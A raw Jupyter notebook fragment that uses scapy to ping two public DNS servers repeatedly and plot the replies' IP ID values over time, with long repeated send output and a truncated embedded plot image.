"cell_type": "code", "collapsed": false, "input": [ "from scapy.all import *" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stderr", "text": [ "WARNING: No route found for IPv6 destination :: (no default route?)\n" ] }, { "output_type": "stream", "stream": "stderr", "text": [ "WARNING:scapy.runtime:No route found for IPv6 destination :: (no default route?)\n" ] } ], "prompt_number": 1 }, { "cell_type": "code", "collapsed": false, "input": [ "ans, unans = srloop(IP(dst=[\"8.8.8.8\", \"8.8.4.4\"])/ICMP(), inter=.1, timeout=.1, count=100, verbose=False)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] } ], "prompt_number": 5 }, { "cell_type": "code", "collapsed": false, "input": [ "%matplotlib inline\n", "ans.multiplot(lambda (p, q): (q[IP].src, (q.time, q[IP].id)), plot_xy=True)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "display_data", "png": "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